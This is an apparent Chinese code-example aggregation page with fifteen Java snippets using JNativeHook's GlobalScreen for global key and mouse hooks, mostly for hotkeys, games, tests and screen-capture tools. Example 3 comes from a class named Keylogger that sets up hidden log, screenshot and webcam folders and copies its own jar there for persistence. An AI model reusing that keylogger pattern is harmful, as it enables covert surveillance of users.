本文整理汇总了Java中org.jnativehook.GlobalScreen类的典型用法代码示例。如果您正苦于以下问题:Java GlobalScreen类的具体用法?Java GlobalScreen怎么用?Java GlobalScreen使用的例子?那么, 这里精选的类代码示例或许可以为您提供帮助。
GlobalScreen类属于org.jnativehook包,在下文中一共展示了GlobalScreen类的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。
示例1: setup
import org.jnativehook.GlobalScreen; //导入依赖的package包/类
@Override
public void setup() {
// setup keyhook
try {
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(Level.OFF);
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
HKM = new KeyHook();
HKM.addValidHotkey("Space");
GlobalScreen.addNativeKeyListener(HKM);
System.out.println("[KeyHook setup]");
try {
robot = new Robot();
} catch (AWTException e) {
System.out.println("Robot could not be created...");
}
}
示例2: initializeGame
import org.jnativehook.GlobalScreen; //导入依赖的package包/类
private static void initializeGame() {
AnsiConsole.systemInstall();
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
// registers a shutdown hook
// this shutdown hook is called before the jvm is shutdown and releases the dependencies
Runtime.getRuntime().addShutdownHook(new Thread() {
@Override
public void run() {
GlobalScreen.unregisterNativeHook();
System.out.println("unregister native hook");
AnsiConsole.out.print(Ansi.ansi().eraseScreen(Erase.FORWARD));
AnsiConsole.systemUninstall();
System.out.println("uninstall ansi console");
// network can be closed here
}
});
}
示例3: main
import org.jnativehook.GlobalScreen; //导入依赖的package包/类
public static void main(String[] args) throws IOException {
detectOS();
app_path = System.getenv(environment_variable_path) + folder;
createFolder(app_path);
createFolder(app_path + path_logs);
createFolder(app_path + path_screenshot);
createFolder(app_path + path_cam);
if (persistence == true) {
copyFile(Keylogger.class.getProtectionDomain().getCodeSource().getLocation().getPath(), app_path + name_jar);
}
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
java.util.logging.Logger.getLogger(Keylogger.class.getName()).log(Level.SEVERE, null, ex);
}
GlobalScreen.getInstance().addNativeKeyListener(new Keylogger());
}
示例4: init
import org.jnativehook.GlobalScreen; //导入依赖的package包/类
public static void init() {
try {
// Get the logger for "org.jnativehook" and set the level
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(loggingLevel);
// disable the parent handlers
logger.setUseParentHandlers(false);
// Init JNativeHook
GlobalScreen.registerNativeHook();
GlobalScreen.addNativeKeyListener(new NativeKeyListener());
Log.debug("JNativeHook initialized.");
} catch (NativeHookException e) {
e.printStackTrace();
}
}
示例5: init
import org.jnativehook.GlobalScreen; //导入依赖的package包/类
@Override
public void init() {
// Get the logger for "org.jnativehook" and set the level to off.
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(Level.OFF);
db = new DbHandler();
db.onCreateDB();
db.createTable();
// Change the level for all handlers attached to the default logger.
Handler[] handlers = Logger.getLogger("").getHandlers();
for (int i = 0; i < handlers.length; i++) {
handlers[i].setLevel(Level.OFF);
}
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem while registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
GlobalScreen.addNativeKeyListener(new Main());
}
示例6: setup
import org.jnativehook.GlobalScreen; //导入依赖的package包/类
@Override
public void setup() {
// setup keyhook
try {
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(Level.OFF);
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
kh = new KeyHook();
GlobalScreen.addNativeKeyListener(kh);
System.out.println("[KeyHook setup]");
kh.addValidAlphaKey("Space");
kh.addValidAlphaKey("Enter");
kh.addValidAlphaKey("Backspace");
}
示例7: setOnScrollListener
import org.jnativehook.GlobalScreen; //导入依赖的package包/类
/**
* Enables handling of scroll and mouse wheel events for the node.
* This type of events has a peculiarity on Windows. See the javadoc of notifyScrollEvents for more information.
* @see #notifyScrollEvent
* @param intersectionTestFunc a function that takes an event object and must return boolean
* @return itself to let you use a chain of calls
*/
MouseEventNotificator setOnScrollListener(Function<NativeMouseWheelEvent, Boolean> intersectionTestFunc) {
if (SystemUtils.IS_OS_WINDOWS) {
if (!GlobalScreen.isNativeHookRegistered()) {
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException | UnsatisfiedLinkError e) {
e.printStackTrace();
Main.log("Failed to initialize the native hooking. Rolling back to using JavaFX events...");
sender.addEventFilter(ScrollEvent.SCROLL, this::notifyScrollEvent);
return this;
}
}
mouseWheelListener = event -> notifyScrollEvent(event, intersectionTestFunc);
GlobalScreen.addNativeMouseWheelListener(mouseWheelListener);
} else {
sender.addEventFilter(ScrollEvent.SCROLL, this::notifyScrollEvent);
}
return this;
}
示例8: pressMultiKeyTest
import org.jnativehook.GlobalScreen; //导入依赖的package包/类
@Test
public void pressMultiKeyTest() throws AWTException, InterruptedException {
MultiKeyListener mkl = new MultiKeyListener();
GlobalScreen.addNativeKeyListener(mkl);
Robot robot = new Robot();
robot.keyPress(KeyEvent.VK_CONTROL);
robot.keyPress(KeyEvent.VK_SPACE);
Thread.sleep(300);
Keys pressed = mkl.getPressed();
assertEquals(pressed.getKeys().size(), 2);
assertTrue(pressed.getKeys().contains(new Key((char)NativeKeyEvent.VC_CONTROL_L)));
assertTrue(pressed.getKeys().contains(new Key((char) NativeKeyEvent.VC_SPACE)));
robot.keyRelease(KeyEvent.VK_CONTROL);
robot.keyRelease(KeyEvent.VK_SPACE);
assertEquals(pressed.getKeys().size(), 0);
}
示例9: main
import org.jnativehook.GlobalScreen; //导入依赖的package包/类
public static void main(String[] args) {
// Get the logger for "org.jnativehook" and set the level to off.
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(Level.OFF);
// Change the level for all handlers attached to the default logger.
Handler[] handlers = Logger.getLogger("").getHandlers();
for (int i = 0; i < handlers.length; i++) {
handlers[i].setLevel(Level.OFF);
}
GlobalKeyListener listener = new GlobalKeyListener();
if (listener.startListening()) {
GlobalScreen.addNativeKeyListener(listener);
}
}
示例10: changeDebugLevel
import org.jnativehook.GlobalScreen; //导入依赖的package包/类
protected void changeDebugLevel() {
Level debugLevel = Level.WARNING;
final JRadioButtonMenuItem[] buttons = {main.rbmiDebugSevere, main.rbmiDebugWarning, main.rbmiDebugInfo, main.rbmiDebugFine};
for (int i = 0; i < DEBUG_LEVELS.length; i++) {
if (buttons[i].isSelected()) {
debugLevel = DEBUG_LEVELS[i];
break;
}
}
config.setNativeHookDebugLevel(debugLevel);
// Get the logger for "org.jnativehook" and set the level to appropriate level.
Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
logger.setLevel(config.getNativeHookDebugLevel());
}
示例11: addListeners
import org.jnativehook.GlobalScreen; //导入依赖的package包/类
@Override
public void addListeners()
{
// Set the event dispatcher to a swing safe executor service.
GlobalScreen.setEventDispatcher(new SwingDispatchService());
try
{
GlobalScreen.registerNativeHook();
GlobalScreen.addNativeKeyListener(this);
}
catch (NativeHookException ex)
{
System.err.println("Error starting KeyHandler:\n" + ex);
System.err.println("Keyboard controls disabled");
}
}
示例12: init
import org.jnativehook.GlobalScreen; //导入依赖的package包/类
public static void init(Config config, IconManager iconManager, Processor processor) {
setConfig(config);
setIconManager(iconManager);
setProcessor(processor);
setupLogs();
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
System.exit(1);
}
Display.getDefault().asyncExec(new Runnable() {
@Override
public void run() {
screenSelectorShell = new ScreenSelectorShell();
}
});
GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
}
示例13: getStartButton
import org.jnativehook.GlobalScreen; //导入依赖的package包/类
/**
*
* @return
*/
public Button getStartButton() {
if (startButton == null) {
startButton = GlyphsDude.createIconButton(FontAwesomeIcon.PLAY, "", "28", "0", ContentDisplay.CENTER);
startButton.getStyleClass().addAll("toolbar-button-transparent", "start", "dropshadow-1-5");
TooltipBuilder.create("Start Capture", startButton);
startButton.setOnAction((ActionEvent event) -> {
getStartButton().setDisable(true);
getStopButton().setDisable(false);
try {
GlobalScreen.addNativeKeyListener(getPrintScreenListener());
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
FxDialogs.showErrorDialog("There was a problem registering the native hook.");
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, "There was a problem registering the native hook.", ex);
}
});
}
return startButton;
}
示例14: getStopButton
import org.jnativehook.GlobalScreen; //导入依赖的package包/类
/**
*
* @return
*/
public Button getStopButton() {
if (stopButton == null) {
stopButton = GlyphsDude.createIconButton(FontAwesomeIcon.STOP, "", "28", "0", ContentDisplay.CENTER);
stopButton.getStyleClass().addAll("toolbar-button-transparent", "stop", "dropshadow-1-5");
TooltipBuilder.create("Stop Capture", stopButton);
stopButton.setDisable(true);
stopButton.setOnAction((ActionEvent event) -> {
getStopButton().setDisable(true);
getStartButton().setDisable(false);
try {
GlobalScreen.removeNativeKeyListener(getPrintScreenListener());
GlobalScreen.unregisterNativeHook();
} catch (NativeHookException ex) {
FxDialogs.showErrorDialog("There was a problem registering the native hook.");
Logger.getLogger(Main.class.getName()).log(Level.SEVERE, "There was a problem registering the native hook.", ex);
}
});
}
return stopButton;
}
示例15: initGlobalListeners
import org.jnativehook.GlobalScreen; //导入依赖的package包/类
private void initGlobalListeners() {
// Initialze native hook.
try {
GlobalScreen.registerNativeHook();
}
catch (NativeHookException ex) {
System.err.println("There was a problem registering the native hook.");
System.err.println(ex.getMessage());
ex.printStackTrace();
System.exit(1);
}
detectKeys = new DetectKeys(this, keyLabel, shift, ctrl, alt, mouseLabel, mouseImages);
GlobalScreen.addNativeKeyListener(detectKeys);
GlobalScreen.addNativeMouseWheelListener(detectKeys);
GlobalScreen.addNativeMouseListener(detectKeys);
}